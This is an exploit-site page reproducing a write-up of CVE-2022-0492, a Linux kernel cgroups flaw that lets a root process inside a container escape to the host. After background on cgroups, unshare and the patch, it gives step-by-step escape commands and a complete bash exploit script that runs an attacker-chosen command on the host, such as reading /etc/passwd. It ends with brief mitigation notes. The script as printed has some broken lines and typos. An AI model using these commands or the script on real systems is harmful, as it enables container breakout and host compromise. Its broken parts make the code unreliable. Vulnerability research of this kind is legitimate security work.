Sploitus

Exploit for Improper Authentication in Linux Linux Kernel

githubexploit · 2022-03-11

Exploit Code

README301 lines
## https://sploitus.com/exploit?id=926D289B-3E6E-5186-8511-1F7D832A8CAD
# CVE-2022-0492 Container Escape Analysis

## Vulnerability Overview

Vulnerability ID: CVE-2022-0492

Affected Product: Linux Kernel – Cgroups

Affected Version: ~Linux Kernel 5.17-rc3

Vulnerability Risk: When containers do not have additional security measures enabled, gaining root access within a container allows an attacker to escape to the host machine.

## Environment Setup

This vulnerability can be exploited in a Linux system with the affected kernel version using Docker. Here’s how to set up the environment:

```shell
# Turn off all security protections and run Docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
```

Docker is used as the experimental environment in this document.

## Vulnerability Mechanism and Related Knowledge

The exploitation method for this vulnerability is already well-known ([Reference Link](https://www.freebuf.com/vuls/264843.html)). However, the vulnerability lies in the lack of permission checks for modifying the `cgroup_release_agent` function. This reduces the threshold for exploiting the vulnerability further (previously, CAP_SYS_ADMIN was required; now, this vulnerability no longer requires CAP_SYS_ADMIN). For details on the exploitation conditions, refer to the “Exploitation Conditions” section below.

### Vulnerability Occurrence Point

The vulnerability analysis patch updated the `cgroup_release_agent_write` function by adding authentication. As a result, the `release_agent` of cgroups no longer allows users without appropriate permissions to modify it.

![Image-20220310201629995](img/image-20220310201629995.png)

Therefore, this vulnerability represents a failure of access control.

### Introduction to Cgroups

Cgroups are a feature of the Linux kernel that allow for the restriction, control, and separation of resources such as CPU, memory, and disk I/O for a group of processes. Cgroups include the following subsystems:

1. `devices`: Process-level device permissions
2. `cpuset`: Allocation of CPU cores and memory nodes for processes
3. `cpu`: Control of CPU usage
4. `cpuacct`: Monitoring of CPU usage, such as running time and throttled time
5. memory: Limiting of memory usage
6. `freezer`: Pausing processes in Cgroups
7. `net_cls`: Combining with tc(traffic controller) to limit network bandwidth
8. `net_prio`: Setting network traffic priorities for processes
9. `huge_tlb`: Limiting the use of HugeTLB
10. `perf_event`: Allowing performance testing tools to perform tests based on CGroup groups

Cgroups in hosts are located under `/sys/fs/cgroup`. Each subsystem can be viewed as a subnode of the main cgroup:

![Image-20220311113636040](img/image-20220311113636040.png)

In Docker, the corresponding cgroup subsystems are the subnodes of the main cgroup. To view the memory cgroup in Docker:

![Image-20220311113811776](img/image-20220311113811776.png)

The container name node in the host Docker directory matches exactly:

![Image-20220311113853019](img/image-20220311113853019.png)

#### Using Cgroups

Cgroups are utilized through the file system. By mounting a cgroup directory, Cgroups interact with us via the VFS virtual file system. The interface of Cgroups is presented through files, allowing direct manipulation of parameters within the cgroup. For example:

```bash
mount -t cgroup -o memory cgroup /tmp/testcgroup
```

![Image-20220311111853198](img/image-20220311111853198.png)

Subdirectories can be created under the cgroup directory to create subnodes, such as `/tmp/testcgroup/x`.

#### release_agent

Each subsystem of Cgroups has a parameter called `notify_on_release`, which is a Boolean value, either 1 or 0. This parameter enables or disables the notification when a task is released from the cgroup. If `notify_on_release` is enabled (value 1), when the last task in the cgroup exits (i.e., when the PID in the `tasks` file of the cgroup is empty), the system kernel will execute the content specified in the file associated with the `release_agent` parameter. The value of `notify_on_release` can be changed by modifying the file.

![Image-20220311114023546](img/image-20220311114023546.png)

The vulnerability occurs due to modifications to `release_agent`. Previously, modifying `release_agent` was possible only with CAP_SYS_ADMIN, but researchers later discovered that creating a new namespace using the `unshare` command grants all capabilities, including CAP_SYS_ADMIN. This significantly reduces the threshold for exploiting the vulnerability.

#### unshare Command

The `unshare` command is used to remove a specified namespace from a shared parent process and then execute the specified program in the newly created namespace. As related to our vulnerability exploitation, **the newly created namespace has all capabilities, including CAP_SYS_ADMIN.**

![Image-20220311102635204](img/image-20220311102635204.png)

## Vulnerability Exploitation

The exploitation method for this vulnerability is the same as traditional methods involving CAP_SYS_ADMIN and Cgroup `release_agent`, but the exploitation conditions differ.

### Use Conditions

The differences between the conditions for exploiting vulnerabilities and those for using the traditional `release_agent` escape mechanism are as follows:

**Traditional `release_agent`:** The container must have `CAP_SYS_ADMIN`, and neither AppArmor nor SELinux should be enabled. **CVE-2022-0492**: The container uses a more detailed approach where Seccomp disables `unshare`, AppArmor does not enable read-only cgroups, and SELinux is disabled. This allows access to root privileges within the container. **No need to obtain `CAP_SYS_ADMIN`.** It’s worth noting that by default, AppArmor enables read-only cgroups in Docker, and Seccomp disables `unshare` for users without `CAP_SYS_ADMIN` privileges. Kubernetes containers typically use a bare-metal container by default. Overall, since exploitation is relatively easy, it can be tried in specific scenarios. **After patching the vulnerability:** According to the patched code:

![image-20220310201629995](img/image-20220310201629995.png)

To modify the `release_agent` file, two conditions must be met:

1. The directory must be a root namespace.
2. The user must have `CAP_SYS_ADMIN` privileges.

Therefore, after patching the vulnerability, the `CAP_SYS_ADMIN` privileges obtained through `unshare` no longer allow modification of the `release_agent`, because the new namespace created by `unshare` is not a root namespace. However, if the container already has `CAP_SYS_ADMIN` privileges, this method can still be used to escape. ### Vulnerability Exploitation

#### Obtaining `CAP_SYS_ADMIN`

If Docker is started with the `--cap-add=SYS_ADMIN` parameter or `--privileged` (privileged container), then the user already has `CAP_SYS_ADMIN` privileges. In this case, there is no need to obtain it additionally. For example, the following command starts Docker with `SYS_ADMIN`:

```sh
# Start Docker with sysadmin, disable AppArmor (otherwise mounting is impossible)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
```

Docker with `CAP_SYS_ADMIN` privileges can directly proceed to modifying the `release_agent`. The command to start Docker without `CAP_SYS_ADMIN` privileges and reproduce the vulnerability is:

```sh
# Start Docker without CAP_SYS_ADMIN, disable all security protections
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
```

Without `CAP_SYS_ADMIN`, `CAP_SYS_ADMIN` privileges can be obtained using the following `unshare` command:

```shell
unshare -UrmC --propagation=unchanged bash
```

The newly obtained namespace has all the capabilities privileges. ![image-20220311102635204](img/image-20220311102635204.png)

#### Mounting the cgroup and obtaining the container’s path on the host

Mounting the cgroup to a directory requires `CAP_SYS_ADMIN` privileges. After the previous step, either we already have `CAP_SYS_ADMIN` or we have obtained it through `unshare`. Additionally, we need to create a cgroup node in the newly mounted cgroup to facilitate subsequent tasks:

```sh
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
# Then create another node in /tmp/testcgroup
mkdir /tmp/testcgroup/x
```

**In this case, the `memory` cgroup cannot be mounted, or if there is no `release_agent` in the `memory` cgroup, other cgroup subsystems can be used.**

The information about the mounted Docker overlay file system can be viewed through the `/etc/mtab` file. `upperdir` represents the absolute path of the container’s root directory on the host:

![image-20220311104701790](img/image-20220311104701790.png)

This information can be obtained using the following command:

```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
```

#### Modifying `release_agent` to trigger an escape

Set `notify_on_release` to 1 to enable the task process to execute `release_agent` after clearing the task:

```sh
echo 1 > /tmp/testcgroup/x/notify_no_release
```

Create a file that executes when `release_agent` is triggered:

```sh
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd
```

Modify `release_agent` to point to the path of the `cmd` file on the host (the path of the container’s root directory on the host has already been obtained):

```sh
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
```

Next, enter a task into the x cgroup node, writing the pid of the sh process to cgroup.procs:

```sh
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"
```

The `sh` command only executes the `echo` command, which will end quickly. Thus, there will be no tasks in the x cgroup node. The `notify_on_release` triggers the execution of the `release_agent` file, and the kernel executes the specified command outside the container, completing the escape.

Escape Successful:

![image-20220311110810458](img/image-20220311110810458.png)

### exp

I wrote an example script according to the process:

```bash
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab

mkdir $mountDir
# Create the command
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result"  >> $cmdPath
chmod 777 $cmdPath

# Create escape.sh
cat ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir 
if [ ! -d \$mountDir/x ]
then
    mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$hostPath/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ >  \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir 
EOF
chmod 777 ./escape.sh

# Check if Cap_SYS_ADMIN is available
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
    ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then 
    echo "[+] You have CAP_SYS_ADMIN!"
else
    echo "[-] You don’t have CAP_SYS_ADMIN, will try"
fi

# Try escape
while read -r subsys
do
    if [ $ifSysAdmin == 1 ]
    then
        if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
            ./escape.sh $subsys $mountDir $hostPath 
            echo "[+] Escape Success!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    else
        if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
            unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
            echo "[+] Escape Success with unshare!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir
```

Run it directly, passing a command you want to escape as an argument: e.g., `./exp.sh "cat /etc/passwd"`.

Escape Successful:

![image-20220311153511050](img/image-20220311153511050.png)

## Mitigation Measures

Docker defaults to enabling seccomp and AppArmor. Vulnerabilities cannot escape by exploiting these default-enabled containers. Kubernetes doesn’t have any security measures by default; seccomp and AppArmor need to be enabled manually.

## References

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492

https://www.freebuf.com/vuls/264843.html

Additionally, people involved in exploiting this vulnerability were also asked questions.